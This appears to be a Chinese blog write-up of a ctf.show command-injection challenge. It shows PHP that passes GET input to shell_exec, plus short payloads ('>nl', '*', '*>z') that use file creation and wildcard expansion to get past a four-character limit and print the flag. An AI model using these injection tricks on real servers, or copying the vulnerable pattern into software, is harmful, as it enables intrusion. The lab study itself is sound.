命令注入漏洞

一、靶场:ctf.show

二、漏洞代码:

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>

三、分析:将命令长度限制在了4,可以通过nl命令打印文件内容

根据ls得到目录下文件列表

可以通过linux命令 >  用于写入内容到一个文件中(linux中 > 前为空会根据 > 后的文件名创建一个新文件或将该文件内容清空),第一次写入空内容:1=>nl

构造完毕,利用通配符 * 将该目录下所有文件名作为linux指令执行:?1=*

查看源代码:

 1	<?php
       
     2	$flag = 'ctfshow{a94841a6-abdb-45c7-a96d-8118d125176a}';
       
     3	?>
     4	<?php
     5	show_source(__FILE__);
     6	error_reporting(0);
     7	if(strlen($_GET[1])<4){
     8	     echo shell_exec($_GET[1]);
     9	}
    10	else{
    11	     echo "hack!!!";
    12	}
    13	?>
    14	//by Firebasky

两个文件内容已经被nl正确按行顺序打印

二、linux输出重定向符号  >  的通常用法

url中输入?1=*>z,将 * 对应的命令输出结果重定向到z文件,由于没有文件后缀,默认访问直接可以下载,文件内容即 * 的输出结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值